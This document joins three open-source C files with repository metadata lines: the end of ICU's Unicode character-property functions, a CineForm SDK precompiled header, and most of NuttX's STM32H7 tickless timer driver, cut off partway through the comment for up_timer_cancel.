U_GC_SC_MASK|U_GC_PC_MASK| U_GC_MC_MASK|U_GC_MN_MASK) )!=0 || u_isIDIgnorable(c)); } U_CAPI int32_t U_EXPORT2 u_charDigitValue(UChar32 c) { uint32_t props; int32_t value; GET_PROPS(c, props); value=(int32_t)GET_NUMERIC_TYPE_VALUE(props)-UPROPS_NTV_DECIMAL_START; if(value<=9) { return value; } else { return -1; } } U_CAPI double U_EXPORT2 u_getNumericValue(UChar32 c) { uint32_t props; int32_t ntv; GET_PROPS(c, props); ntv=(int32_t)GET_NUMERIC_TYPE_VALUE(props); if(ntv==UPROPS_NTV_NONE) { return U_NO_NUMERIC_VALUE; } else if(ntv<UPROPS_NTV_DIGIT_START) { /* decimal digit */ return ntv-UPROPS_NTV_DECIMAL_START; } else if(ntv<UPROPS_NTV_NUMERIC_START) { /* other digit */ return ntv-UPROPS_NTV_DIGIT_START; } else if(ntv<UPROPS_NTV_FRACTION_START) { /* small integer */ return ntv-UPROPS_NTV_NUMERIC_START; } else if(ntv<UPROPS_NTV_LARGE_START) { /* fraction */ int32_t numerator=(ntv>>4)-12; int32_t denominator=(ntv&0xf)+1; return (double)numerator/denominator; } else if(ntv<UPROPS_NTV_BASE60_START) { /* large, single-significant-digit integer */ double numValue; int32_t mant=(ntv>>5)-14; int32_t exp=(ntv&0x1f)+2; numValue=mant; /* multiply by 10^exp without math.h */ while(exp>=4) { numValue*=10000.; exp-=4; } switch(exp) { case 3: numValue*=1000.; break; case 2: numValue*=100.; break; case 1: numValue*=10.; break; case 0: default: break; } return numValue; } else if(ntv<UPROPS_NTV_RESERVED_START) { /* sexagesimal (base 60) integer */ int32_t numValue=(ntv>>2)-0xbf; int32_t exp=(ntv&3)+1; switch(exp) { case 4: numValue*=60*60*60*60; break; case 3: numValue*=60*60*60; break; case 2: numValue*=60*60; break; case 1: numValue*=60; break; case 0: default: break; } return numValue; } else { /* reserved */ return U_NO_NUMERIC_VALUE; } } U_CAPI int32_t U_EXPORT2 u_digit(UChar32 ch, int8_t radix) { int8_t value; if((uint8_t)(radix-2)<=(36-2)) { value=(int8_t)u_charDigitValue(ch); if(value<0) { /* ch is not a decimal digit, try latin letters */ if(ch>=0x61 && ch<=0x7A) { value=(int8_t)(ch-0x57); /* ch - 'a' + 10 */ } else if(ch>=0x41 && ch<=0x5A) { value=(int8_t)(ch-0x37); /* ch - 'A' + 10 */ } else if(ch>=0xFF41 && ch<=0xFF5A) { value=(int8_t)(ch-0xFF37); /* fullwidth ASCII a-z */ } else if(ch>=0xFF21 && ch<=0xFF3A) { value=(int8_t)(ch-0xFF17); /* fullwidth ASCII A-Z */ } } } else { value=-1; /* invalid radix */ } return (int8_t)((value<radix) ? value : -1); } U_CAPI UChar32 U_EXPORT2 u_forDigit(int32_t digit, int8_t radix) { if((uint8_t)(radix-2)>(36-2) || (uint32_t)digit>=(uint32_t)radix) { return 0; } else if(digit<10) { return (UChar32)(0x30+digit); } else { return (UChar32)((0x61-10)+digit); } } /* miscellaneous, and support for uprops.cpp -------------------------------- */ U_CAPI void U_EXPORT2 u_getUnicodeVersion(UVersionInfo versionArray) { if(versionArray!=NULL) { uprv_memcpy(versionArray, dataVersion, U_MAX_VERSION_LENGTH); } } U_CFUNC uint32_t u_getMainProperties(UChar32 c) { uint32_t props; GET_PROPS(c, props); return props; } U_CFUNC uint32_t u_getUnicodeProperties(UChar32 c, int32_t column) { U_ASSERT(column>=0); if(column>=propsVectorsColumns) { return 0; } else { uint16_t vecIndex=UTRIE2_GET16(&propsVectorsTrie, c); return propsVectors[vecIndex+column]; } } U_CFUNC int32_t uprv_getMaxValues(int32_t column) { switch(column) { case 0: return indexes[UPROPS_MAX_VALUES_INDEX]; case 2: return indexes[UPROPS_MAX_VALUES_2_INDEX]; default: return 0; } } U_CAPI void U_EXPORT2 u_charAge(UChar32 c, UVersionInfo versionArray) { if(versionArray!=NULL) { uint32_t version=u_getUnicodeProperties(c, 0)>>UPROPS_AGE_SHIFT; versionArray[0]=(uint8_t)(version>>4); versionArray[1]=(uint8_t)(version&0xf); versionArray[2]=versionArray[3]=0; } } U_CAPI UScriptCode U_EXPORT2 uscript_getScript(UChar32 c, UErrorCode *pErrorCode) { uint32_t scriptX; if(pErrorCode==NULL || U_FAILURE(*pErrorCode)) { return USCRIPT_INVALID_CODE; } if((uint32_t)c>0x10ffff) { *pErrorCode=U_ILLEGAL_ARGUMENT_ERROR; return USCRIPT_INVALID_CODE; } scriptX=u_getUnicodeProperties(c, 0)&UPROPS_SCRIPT_X_MASK; if(scriptX<UPROPS_SCRIPT_X_WITH_COMMON) { return (UScriptCode)scriptX; } else if(scriptX<UPROPS_SCRIPT_X_WITH_INHERITED) { return USCRIPT_COMMON; } else if(scriptX<UPROPS_SCRIPT_X_WITH_OTHER) { return USCRIPT_INHERITED; } else { return (UScriptCode)scriptExtensions[scriptX&UPROPS_SCRIPT_MASK]; } } U_CAPI UBool U_EXPORT2 uscript_hasScript(UChar32 c, UScriptCode sc) { const uint16_t *scx; uint32_t scriptX=u_getUnicodeProperties(c, 0)&UPROPS_SCRIPT_X_MASK; if(scriptX<UPROPS_SCRIPT_X_WITH_COMMON) { return sc==(UScriptCode)scriptX; } scx=scriptExtensions+(scriptX&UPROPS_SCRIPT_MASK); if(scriptX>=UPROPS_SCRIPT_X_WITH_OTHER) { scx=scriptExtensions+scx[1]; } if(sc>=USCRIPT_CODE_LIMIT) { /* Guard against bogus input that would make us go past the Script_Extensions terminator. */ return FALSE; } while(sc>*scx) { ++scx; } return sc==(*scx&0x7fff); } U_CAPI int32_t U_EXPORT2 uscript_getScriptExtensions(UChar32 c, UScriptCode *scripts, int32_t capacity, UErrorCode *pErrorCode) { uint32_t scriptX; int32_t length; const uint16_t *scx; uint16_t sx; if(pErrorCode==NULL || U_FAILURE(*pErrorCode)) { return 0; } if(capacity<0 || (capacity>0 && scripts==NULL)) { *pErrorCode=U_ILLEGAL_ARGUMENT_ERROR; return 0; } scriptX=u_getUnicodeProperties(c, 0)&UPROPS_SCRIPT_X_MASK; if(scriptX<UPROPS_SCRIPT_X_WITH_COMMON) { if(capacity==0) { *pErrorCode=U_BUFFER_OVERFLOW_ERROR; } else { scripts[0]=(UScriptCode)scriptX; } return 1; } scx=scriptExtensions+(scriptX&UPROPS_SCRIPT_MASK); if(scriptX>=UPROPS_SCRIPT_X_WITH_OTHER) { scx=scriptExtensions+scx[1]; } length=0; do { sx=*scx++; if(length<capacity) { scripts[length]=(UScriptCode)(sx&0x7fff); } ++length; } while(sx<0x8000); if(length>capacity) { *pErrorCode=U_BUFFER_OVERFLOW_ERROR; } return length; } U_CAPI UBlockCode U_EXPORT2 ublock_getCode(UChar32 c) { return (UBlockCode)((u_getUnicodeProperties(c, 0)&UPROPS_BLOCK_MASK)>>UPROPS_BLOCK_SHIFT); } /* property starts for UnicodeSet ------------------------------------------- */ static UBool U_CALLCONV _enumPropertyStartsRange(const void *context, UChar32 start, UChar32 end, uint32_t value) { /* add the start code point to the USet */ const USetAdder *sa=(const USetAdder *)context; sa->add(sa->set, start); return TRUE; } #define USET_ADD_CP_AND_NEXT(sa, cp) sa->add(sa->set, cp); sa->add(sa->set, cp+1) U_CFUNC void U_EXPORT2 uchar_addPropertyStarts(const USetAdder *sa, UErrorCode *pErrorCode) { if(U_FAILURE(*pErrorCode)) { return; } /* add the start code point of each same-value range of the main trie */ utrie2_enum(&propsTrie, NULL, _enumPropertyStartsRange, sa); /* add code points with hardcoded properties, plus the ones following them */ /* add for u_isblank() */ USET_ADD_CP_AND_NEXT(sa, TAB); /* add for IS_THAT_CONTROL_SPACE() */ sa->add(sa->set, CR+1); /* range TAB..CR */ sa->add(sa->set, 0x1c); sa->add(sa->set, 0x1f+1); USET_ADD_CP_AND_NEXT(sa, NL); /* add for u_isIDIgnorable() what was not added above */ sa->add(sa->set, DEL); /* range DEL..NBSP-1, NBSP added below */ sa->add(sa->set, HAIRSP); sa->add(sa->set, RLM+1); sa->add(sa->set, INHSWAP); sa->add(sa->set, NOMDIG+1); USET_ADD_CP_AND_NEXT(sa, ZWNBSP); /* add no-break spaces for u_isWhitespace() what was not added above */ USET_ADD_CP_AND_NEXT(sa, NBSP); USET_ADD_CP_AND_NEXT(sa, FIGURESP); USET_ADD_CP_AND_NEXT(sa, NNBSP); /* add for u_digit() */ sa->add(sa->set, U_a); sa->add(sa->set, U_z+1); sa->add(sa->set, U_A); sa->add(sa->set, U_Z+1); sa->add(sa->set, U_FW_a); sa->add(sa->set, U_FW_z+1); sa->add(sa->set, U_FW_A); sa->add(sa->set, U_FW_Z+1); /* add for u_isxdigit() */ sa->add(sa->set, U_f+1); sa->add(sa->set, U_F+1); sa->add(sa->set, U_FW_f+1); sa->add(sa->set, U_FW_F+1); /* add for UCHAR_DEFAULT_IGNORABLE_CODE_POINT what was not added above */ sa->add(sa->set, WJ); /* range WJ..NOMDIG */ sa->add(sa->set, 0xfff0); sa->add(sa->set, 0xfffb+1); sa->add(sa->set, 0xe0000); sa->add(sa->set, 0xe0fff+1); /* add for UCHAR_GRAPHEME_BASE and others */ USET_ADD_CP_AND_NEXT(sa, CGJ); } U_CFUNC void U_EXPORT2 upropsvec_addPropertyStarts(const USetAdder *sa, UErrorCode *pErrorCode) { if(U_FAILURE(*pErrorCode)) { return; } /* add the start code point of each same-value range of the properties vectors trie */ if(propsVectorsColumns>0) { /* if propsVectorsColumns==0 then the properties vectors trie may not be there at all */ utrie2_enum(&propsVectorsTrie, NULL, _enumPropertyStartsRange, sa); } }
3a53c94ce4ebc54ddcc54f7279929a2537238ac3
837528ef9e9a55c416e9592ecb54e1c8f1ff9cf8
/DecoderSDK/StdAfx.h
72670acb74262a8017fb2ea5fb926a1bc8837394
[ "MIT", "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
gopro/cineform-sdk
a38fbfa4e9c693ff840ceb934b688ab0fd238856
11574d0295771edccadd17af14af74a539f924c7
refs/heads/master
2023-03-08T15:53:26.569984
2022-02-18T18:36:15
2022-02-18T18:36:15
97,512,165
268
70
Apache-2.0
2022-09-21T13:36:49
2017-07-17T19:03:12
C
UTF-8
C
false
false
1,411
h
StdAfx.h
/*! @file StdAfx.h * @brief * * Interface to the CineForm HD decoder. The decoder API uses an opaque * data type to represent an instance of a decoder. The decoder reference * is returned by the call to CFHD_OpenDecoder. * * @version 1.0.0 * * (C) Copyright 2017 GoPro Inc (http://gopro.com/). * * Licensed under either: * - Apache License, Version 2.0, http://www.apache.org/licenses/LICENSE-2.0 * - MIT license, http://opensource.org/licenses/MIT * at your option. * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #pragma once #if _WIN32 // Windows header files (required for registry access) #include <windows.h> // Includes required for Visual Studio 2005 (not required for Visual Studio 2003) //#include <atlbase.h> #include <tchar.h> #endif #include <stdlib.h> #include <stdio.h> #include <string.h> #include <ctype.h> #include <math.h> #include <time.h> #include <assert.h> #include <limits.h> #include <memory.h> #include <stdint.h> #include <stdbool.h> #include "../Common/ver.h" //TODO: reference additional headers your program requires here
1ff170e7ca08a92065c0a77e2bdd786731aa6054
aa3befea459382dc5c01c925653d54f435b3fb0f
/arch/arm/src/stm32h7/stm32_tickless.c
09baf13faec778535c435d8b5f5038579cc764d9
[ "MIT-open-group", "BSD-3-Clause", "HPND-sell-variant", "BSD-4-Clause-UC", "LicenseRef-scancode-warranty-disclaimer", "MIT-0", "LicenseRef-scancode-bsd-atmel", "LicenseRef-scancode-gary-s-brown", "LicenseRef-scancode-proprietary-license", "SunPro", "MIT", "LicenseRef-scancode-public-domain-disclaimer", "LicenseRef-scancode-other-permissive", "HPND", "ISC", "Apache-2.0", "LicenseRef-scancode-public-domain", "BSD-2-Clause", "GPL-1.0-or-later", "CC-BY-2.0", "CC-BY-4.0" ]
permissive
apache/nuttx
14519a7bff4a87935d94fb8fb2b19edb501c7cec
606b6d9310fb25c7d92c6f95bf61737e3c79fa0f
refs/heads/master
2023-08-25T06:55:45.822534
2023-08-23T16:03:31
2023-08-24T21:25:47
228,103,273
407
241
Apache-2.0
2023-09-14T18:26:05
2019-12-14T23:27:55
C
UTF-8
C
false
false
30,349
c
stm32_tickless.c
/**************************************************************************** * arch/arm/src/stm32h7/stm32_tickless.c * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. The * ASF licenses this file to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance with the * License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * ****************************************************************************/ /**************************************************************************** * Tickless OS Support. * * When CONFIG_SCHED_TICKLESS is enabled, all support for timer interrupts * is suppressed and the platform specific code is expected to provide the * following custom functions. * * void up_timer_initialize(void): Initializes the timer facilities. * Called early in the initialization sequence (by up_initialize()). * int up_timer_gettime(struct timespec *ts): Returns the current * time from the platform specific time source. * int up_timer_cancel(void): Cancels the interval timer. * int up_timer_start(const struct timespec *ts): Start (or re-starts) * the interval timer. * * The RTOS will provide the following interfaces for use by the platform- * specific interval timer implementation: * * void nxsched_timer_expiration(void): Called by the platform-specific * logic when the interval timer expires. * ****************************************************************************/ /**************************************************************************** * STM32 Timer Usage * * This implementation uses one timer: A free running timer to provide * the current time and a capture/compare channel for timed-events. * * BASIC timers that are found on some STM32 chips (timers 6 and 7) are * incompatible with this implementation because they don't have capture/ * compare channels. There are two interrupts generated from our timer, * the overflow interrupt which drives the timing handler and the capture/ * compare interrupt which drives the interval handler. There are some low * level timer control functions implemented here because the API of * stm32_tim.c does not provide adequate control over capture/compare * interrupts. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <stdint.h> #include <stdbool.h> #include <errno.h> #include <assert.h> #include <nuttx/arch.h> #include <nuttx/timers/arch_timer.h> #include <debug.h> #include <arch/board/board.h> #include "arm_internal.h" #include "stm32_tim.h" #include "stm32_dbgmcu.h" #include "systick.h" #ifdef CONFIG_SCHED_TICKLESS /* Only TIM2 and TIM5 timers may be 32-bits in width */ #undef HAVE_32BIT_TICKLESS #if (CONFIG_STM32H7_TICKLESS_TIMER == 2) || \ (CONFIG_STM32H7_TICKLESS_TIMER == 5) #define HAVE_32BIT_TICKLESS 1 #endif #if (CONFIG_STM32H7_TICKLESS_TIMER == 6) || \ (CONFIG_STM32H7_TICKLESS_TIMER == 7) # error Basic timers not supported by the tickless driver #endif #if CONFIG_STM32H7_TICKLESS_CHANNEL == 1 #define DIER_CAPT_IE GTIM_DIER_CC1IE #elif CONFIG_STM32H7_TICKLESS_CHANNEL == 2 #define DIER_CAPT_IE GTIM_DIER_CC2IE #elif CONFIG_STM32H7_TICKLESS_CHANNEL == 3 #define DIER_CAPT_IE GTIM_DIER_CC3IE #elif CONFIG_STM32H7_TICKLESS_CHANNEL == 4 #define DIER_CAPT_IE GTIM_DIER_CC4IE #endif /**************************************************************************** * Private Types ****************************************************************************/ struct stm32_tickless_s { uint8_t timer; /* The timer/counter in use */ uint8_t channel; /* The timer channel to use for intervals */ struct stm32_tim_dev_s *tch; /* Handle returned by stm32_tim_init() */ uint32_t frequency; uint32_t overflow; /* Timer counter overflow */ volatile bool pending; /* True: pending task */ uint32_t period; /* Interval period */ uint32_t base; #ifdef CONFIG_SCHED_TICKLESS_ALARM uint64_t last_alrm; #endif }; /**************************************************************************** * Private Data ****************************************************************************/ static struct stm32_tickless_s g_tickless; /**************************************************************************** * Private Functions ****************************************************************************/ /**************************************************************************** * Name: stm32_getreg16 * * Description: * Get a 16-bit register value by offset * ****************************************************************************/ static inline uint16_t stm32_getreg16(uint8_t offset) { return getreg16(g_tickless.base + offset); } /**************************************************************************** * Name: stm32_putreg16 * * Description: * Put a 16-bit register value by offset * ****************************************************************************/ static inline void stm32_putreg16(uint8_t offset, uint16_t value) { putreg16(value, g_tickless.base + offset); } /**************************************************************************** * Name: stm32_modifyreg16 * * Description: * Modify a 16-bit register value by offset * ****************************************************************************/ static inline void stm32_modifyreg16(uint8_t offset, uint16_t clearbits, uint16_t setbits) { modifyreg16(g_tickless.base + offset, clearbits, setbits); } /**************************************************************************** * Name: stm32_tickless_enableint ****************************************************************************/ static inline void stm32_tickless_enableint(int channel) { stm32_modifyreg16(STM32_BTIM_DIER_OFFSET, 0, 1 << channel); } /**************************************************************************** * Name: stm32_tickless_disableint ****************************************************************************/ static inline void stm32_tickless_disableint(int channel) { stm32_modifyreg16(STM32_BTIM_DIER_OFFSET, 1 << channel, 0); } /**************************************************************************** * Name: stm32_tickless_ackint ****************************************************************************/ static inline void stm32_tickless_ackint(int channel) { stm32_putreg16(STM32_BTIM_SR_OFFSET, ~(1 << channel)); } /**************************************************************************** * Name: stm32_tickless_getint ****************************************************************************/ static inline uint16_t stm32_tickless_getint(void) { return stm32_getreg16(STM32_BTIM_SR_OFFSET); } /**************************************************************************** * Name: stm32_tickless_setchannel ****************************************************************************/ static int stm32_tickless_setchannel(uint8_t channel) { uint16_t ccmr_orig = 0; uint16_t ccmr_val = 0; uint16_t ccmr_mask = 0xff; uint16_t ccer_val = stm32_getreg16(STM32_GTIM_CCER_OFFSET); uint8_t ccmr_offset = STM32_GTIM_CCMR1_OFFSET; /* Further we use range as 0..3; if channel=0 it will also overflow here */ if (--channel > 4) { return -EINVAL; } /* Assume that channel is disabled and polarity is active high */ ccer_val &= ~((GTIM_CCER_CC1P | GTIM_CCER_CC1E) << GTIM_CCER_CCXBASE(channel)); /* This function is not supported on basic timers. To enable or * disable it, simply set its clock to valid frequency or zero. */ if (g_tickless.base == STM32_TIM6_BASE || g_tickless.base == STM32_TIM7_BASE) { return -EINVAL; } /* Frozen mode because we don't want to change the GPIO, preload register * disabled. */ ccmr_val = (GTIM_CCMR_MODE_FRZN << GTIM_CCMR1_OC1M_SHIFT); /* Set polarity */ ccer_val |= GTIM_CCER_CC1P << GTIM_CCER_CCXBASE(channel); /* Define its position (shift) and get register offset */ if ((channel & 1) != 0) { ccmr_val <<= 8; ccmr_mask <<= 8; } if (channel > 1) { ccmr_offset = STM32_GTIM_CCMR2_OFFSET; } ccmr_orig = stm32_getreg16(ccmr_offset); ccmr_orig &= ~ccmr_mask; ccmr_orig |= ccmr_val; stm32_putreg16(ccmr_offset, ccmr_orig); stm32_putreg16(STM32_GTIM_CCER_OFFSET, ccer_val); return OK; } /**************************************************************************** * Name: stm32_interval_handler * * Description: * Called when the timer counter matches the compare register * * Input Parameters: * None * * Returned Value: * None * * Assumptions: * Called early in the initialization sequence before any special * concurrency protections are required. * ****************************************************************************/ static void stm32_interval_handler(void) { #ifdef CONFIG_SCHED_TICKLESS_ALARM struct timespec tv; #endif tmrinfo("Expired...\n"); /* Disable the compare interrupt now. */ stm32_tickless_disableint(g_tickless.channel); stm32_tickless_ackint(g_tickless.channel); g_tickless.pending = false; #ifndef CONFIG_SCHED_TICKLESS_ALARM nxsched_timer_expiration(); #else up_timer_gettime(&tv); nxsched_alarm_expiration(&tv); #endif } /**************************************************************************** * Name: stm32_timing_handler * * Description: * Timer interrupt callback. When the freerun timer counter overflows, * this interrupt will occur. We will just increment an overflow count. * * Input Parameters: * None * * Returned Value: * None * ****************************************************************************/ static void stm32_timing_handler(void) { g_tickless.overflow++; STM32_TIM_ACKINT(g_tickless.tch, GTIM_SR_UIF); } /**************************************************************************** * Name: stm32_tickless_handler * * Description: * Generic interrupt handler for this timer. It checks the source of the * interrupt and fires the appropriate handler. * * Input Parameters: * None * * Returned Value: * None * ****************************************************************************/ static int stm32_tickless_handler(int irq, void *context, void *arg) { int interrupt_flags = stm32_tickless_getint(); if (interrupt_flags & GTIM_SR_UIF) { stm32_timing_handler(); } if (interrupt_flags & (1 << g_tickless.channel)) { stm32_interval_handler(); } return OK; } /**************************************************************************** * Name: stm32_get_counter * ****************************************************************************/ static uint64_t stm32_get_counter(void) { #ifdef HAVE_32BIT_TICKLESS return ((uint64_t)g_tickless.overflow << 32) | STM32_TIM_GETCOUNTER(g_tickless.tch); #else return ((uint64_t)g_tickless.overflow << 16) | STM32_TIM_GETCOUNTER(g_tickless.tch); #endif } /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: up_timer_initialize * * Description: * Initializes all platform-specific timer facilities. This function is * called early in the initialization sequence by up_initialize(). * On return, the current up-time should be available from * up_timer_gettime() and the interval timer is ready for use (but not * actively timing. * * Provided by platform-specific code and called from the architecture- * specific logic. * * Input Parameters: * None * * Returned Value: * None * * Assumptions: * Called early in the initialization sequence before any special * concurrency protections are required. * ****************************************************************************/ void up_timer_initialize(void) { switch (CONFIG_STM32H7_TICKLESS_TIMER) { #ifdef CONFIG_STM32H7_TIM1 case 1: g_tickless.base = STM32_TIM1_BASE; modifyreg32(STM32_DBGMCU_APB2FZ1, 0, DBGMCU_APB2Z1_TIM1STOP); break; #endif #ifdef CONFIG_STM32H7_TIM2 case 2: g_tickless.base = STM32_TIM2_BASE; modifyreg32(STM32_DBGMCU_APB1LFZ1, 0, DBGMCU_APB1L_TIM2STOP); break; #endif #ifdef CONFIG_STM32H7_TIM3 case 3: g_tickless.base = STM32_TIM3_BASE; modifyreg32(STM32_DBGMCU_APB1LFZ1, 0, DBGMCU_APB1L_TIM3STOP); break; #endif #ifdef CONFIG_STM32H7_TIM4 case 4: g_tickless.base = STM32_TIM4_BASE; modifyreg32(STM32_DBGMCU_APB1LFZ1, 0, DBGMCU_APB1L_TIM4STOP); break; #endif #ifdef CONFIG_STM32H7_TIM5 case 5: g_tickless.base = STM32_TIM5_BASE; modifyreg32(STM32_DBGMCU_APB1LFZ1, 0, DBGMCU_APB1L_TIM5STOP); break; #endif #ifdef CONFIG_STM32H7_TIM8 case 8: g_tickless.base = STM32_TIM8_BASE; modifyreg32(STM32_DBGMCU_APB2FZ1, 0, DBGMCU_APB2Z1_TIM8STOP); break; #endif #ifdef CONFIG_STM32H7_TIM9 case 9: g_tickless.base = STM32_TIM9_BASE; /* A freeze bit for TIM9 doesn't seem to exist */ break; #endif #ifdef CONFIG_STM32H7_TIM10 case 10: g_tickless.base = STM32_TIM10_BASE; /* A freeze bit for TIM10 doesn't seem to exist */ break; #endif #ifdef CONFIG_STM32H7_TIM11 case 11: g_tickless.base = STM32_TIM11_BASE; /* A freeze bit for TIM11 doesn't seem to exist */ break; #endif #ifdef CONFIG_STM32H7_TIM12 case 12: g_tickless.base = STM32_TIM12_BASE; modifyreg32(STM32_DBGMCU_APB1LFZ1, 0, DBGMCU_APB1L_TIM12STOP); break; #endif #ifdef CONFIG_STM32H7_TIM13 case 13: g_tickless.base = STM32_TIM13_BASE; modifyreg32(STM32_DBGMCU_APB1LFZ1, 0, DBGMCU_APB1L_TIM13STOP); break; #endif #ifdef CONFIG_STM32H7_TIM14 case 14: g_tickless.base = STM32_TIM14_BASE; modifyreg32(STM32_DBGMCU_APB1LFZ1, 0, DBGMCU_APB1L_TIM14STOP); break; #endif #ifdef CONFIG_STM32H7_TIM15 case 15: g_tickless.base = STM32_TIM15_BASE; modifyreg32(STM32_DBGMCU_APB2FZ1, 0, DBGMCU_APB2Z1_TIM15STOP); break; #endif #ifdef CONFIG_STM32H7_TIM16 case 16: g_tickless.base = STM32_TIM16_BASE; modifyreg32(STM32_DBGMCU_APB2FZ1, 0, DBGMCU_APB2Z1_TIM16STOP); break; #endif #ifdef CONFIG_STM32H7_TIM17 case 17: g_tickless.base = STM32_TIM17_BASE; modifyreg32(STM32_DBGMCU_APB2FZ1, 0, DBGMCU_APB2Z1_TIM17STOP); break; #endif default: DEBUGPANIC(); } /* Get the TC frequency that corresponds to the requested resolution */ g_tickless.frequency = USEC_PER_SEC / (uint32_t)CONFIG_USEC_PER_TICK; g_tickless.timer = CONFIG_STM32H7_TICKLESS_TIMER; g_tickless.channel = CONFIG_STM32H7_TICKLESS_CHANNEL; g_tickless.pending = false; g_tickless.period = 0; g_tickless.overflow = 0; tmrinfo("timer=%d channel=%d frequency=%lu Hz\n", g_tickless.timer, g_tickless.channel, g_tickless.frequency); g_tickless.tch = stm32_tim_init(g_tickless.timer); if (g_tickless.tch == NULL) { tmrerr("ERROR: Failed to allocate TIM%d\n", g_tickless.timer); DEBUGPANIC(); } STM32_TIM_SETCLOCK(g_tickless.tch, g_tickless.frequency); /* Set up to receive the callback when the counter overflow occurs */ STM32_TIM_SETISR(g_tickless.tch, stm32_tickless_handler, NULL, 0); /* Initialize interval to zero */ STM32_TIM_SETCOMPARE(g_tickless.tch, g_tickless.channel, 0); /* Setup compare channel for the interval timing */ stm32_tickless_setchannel(g_tickless.channel); /* Set timer period */ #ifdef HAVE_32BIT_TICKLESS STM32_TIM_SETPERIOD(g_tickless.tch, UINT32_MAX); #ifdef CONFIG_SCHED_TICKLESS_LIMIT_MAX_SLEEP g_oneshot_maxticks = UINT32_MAX; #endif #else STM32_TIM_SETPERIOD(g_tickless.tch, UINT16_MAX); #ifdef CONFIG_SCHED_TICKLESS_LIMIT_MAX_SLEEP g_oneshot_maxticks = UINT16_MAX; #endif #endif /* Initialize the counter */ STM32_TIM_SETMODE(g_tickless.tch, STM32_TIM_MODE_UP); /* Start the timer */ STM32_TIM_ACKINT(g_tickless.tch, ~0); STM32_TIM_ENABLEINT(g_tickless.tch, 0); #if defined(CONFIG_ARMV7M_SYSTICK) && defined(CONFIG_CPULOAD_PERIOD) nxsched_period_extclk(systick_initialize(true, STM32_CPUCLK_FREQUENCY, -1)); #endif } /**************************************************************************** * Name: up_timer_gettime * * Description: * Return the elapsed time since power-up (or, more correctly, since * up_timer_initialize() was called). This function is functionally * equivalent to: * * int clock_gettime(clockid_t clockid, struct timespec *ts); * * when clockid is CLOCK_MONOTONIC. * * This function provides the basis for reporting the current time and * also is used to eliminate error build-up from small errors in interval * time calculations. * * Provided by platform-specific code and called from the RTOS base code. * * Input Parameters: * ts - Provides the location in which to return the up-time. * * Returned Value: * Zero (OK) is returned on success; a negated errno value is returned on * any failure. * * Assumptions: * Called from the normal tasking context. The implementation must * provide whatever mutual exclusion is necessary for correct operation. * This can include disabling interrupts in order to assure atomic register * operations. * ****************************************************************************/ int up_timer_gettime(struct timespec *ts) { uint64_t usec; uint32_t counter; uint32_t verify; uint32_t overflow; uint32_t sec; int pending; irqstate_t flags; DEBUGASSERT(ts); /* Timer not initialized yet, return zero */ if (g_tickless.tch == NULL) { ts->tv_nsec = 0; ts->tv_sec = 0; return OK; } /* Temporarily disable the overflow counter. NOTE that we have to be * careful here because stm32_tc_getpending() will reset the pending * interrupt status. If we do not handle the overflow here then, it will * be lost. */ flags = enter_critical_section(); overflow = g_tickless.overflow; counter = STM32_TIM_GETCOUNTER(g_tickless.tch); pending = STM32_TIM_CHECKINT(g_tickless.tch, GTIM_SR_UIF); verify = STM32_TIM_GETCOUNTER(g_tickless.tch); /* If an interrupt was pending before we re-enabled interrupts, * then the overflow needs to be incremented. */ if (pending) { STM32_TIM_ACKINT(g_tickless.tch, GTIM_SR_UIF); /* Increment the overflow count and use the value of the * guaranteed to be AFTER the overflow occurred. */ overflow++; counter = verify; /* Update tickless overflow counter. */ g_tickless.overflow = overflow; } leave_critical_section(flags); tmrinfo("counter=%lu (%lu) overflow=%lu, pending=%i\n", (unsigned long)counter, (unsigned long)verify, (unsigned long)overflow, pending); tmrinfo("frequency=%lu\n", g_tickless.frequency); /* Convert the whole thing to units of microseconds. * * frequency = ticks / second * seconds = ticks * frequency * usecs = (ticks * USEC_PER_SEC) / frequency; */ #ifdef HAVE_32BIT_TICKLESS usec = ((((uint64_t)overflow << 32) + (uint64_t)counter) * USEC_PER_SEC) / g_tickless.frequency; #else usec = ((((uint64_t)overflow << 16) + (uint64_t)counter) * USEC_PER_SEC) / g_tickless.frequency; #endif /* And return the value of the timer */ sec = (uint32_t)(usec / USEC_PER_SEC); ts->tv_sec = sec; ts->tv_nsec = (usec - (sec * USEC_PER_SEC)) * NSEC_PER_USEC; tmrinfo("usec=%llu ts=(%lu, %lu)\n", usec, (unsigned long)ts->tv_sec, (unsigned long)ts->tv_nsec); return OK; } #ifdef CONFIG_CLOCK_TIMEKEEPING /**************************************************************************** * Name: up_timer_gettick * * Description: * To be provided * * Input Parameters: * cycles - 64-bit return value * * Returned Value: * None * ****************************************************************************/ int up_timer_gettick(clock_t *ticks) { *ticks = (clock_t)STM32_TIM_GETCOUNTER(g_tickless.tch); return OK; } /**************************************************************************** * Name: up_timer_getmask * * Description: * To be provided * * Input Parameters: * mask - Location to return the 64-bit mask * * Returned Value: * None * ****************************************************************************/ void up_timer_getmask(clock_t *mask) { DEBUGASSERT(mask != NULL); #ifdef HAVE_32BIT_TICKLESS *mask = UINT32_MAX; #else *mask = UINT16_MAX; #endif } #endif /* CONFIG_CLOCK_TIMEKEEPING */ /**************************************************************************** * Name: up_timer_cancel * * Description: * Cancel the interval timer and return the time remaining on the timer. * These two steps need to be as nearly atomic as possible. * nxsched_timer_expiration() will not be called unless the timer is * restarted with up_timer_start(). * * If, as a race condition, the timer has already expired when this * function is called, then that pending interrupt must be cleared so * that up_timer_start() and the remaining time of zero should be * returned. * * NOTE: This function may execute at a high rate with no timer running (as * when pre-emption is enabled and disabled). * * Provided by platform-specific code and called from the RTOS base code. * * Input Parameters: * ts - Location to return the remaining time. Zero should be returned * if the timer is not active. ts may be zero in which case the * time remaining is not returned. * * Returned Value: * Zero (OK) is returned on success. A call to up_timer_cancel() when * the timer is not 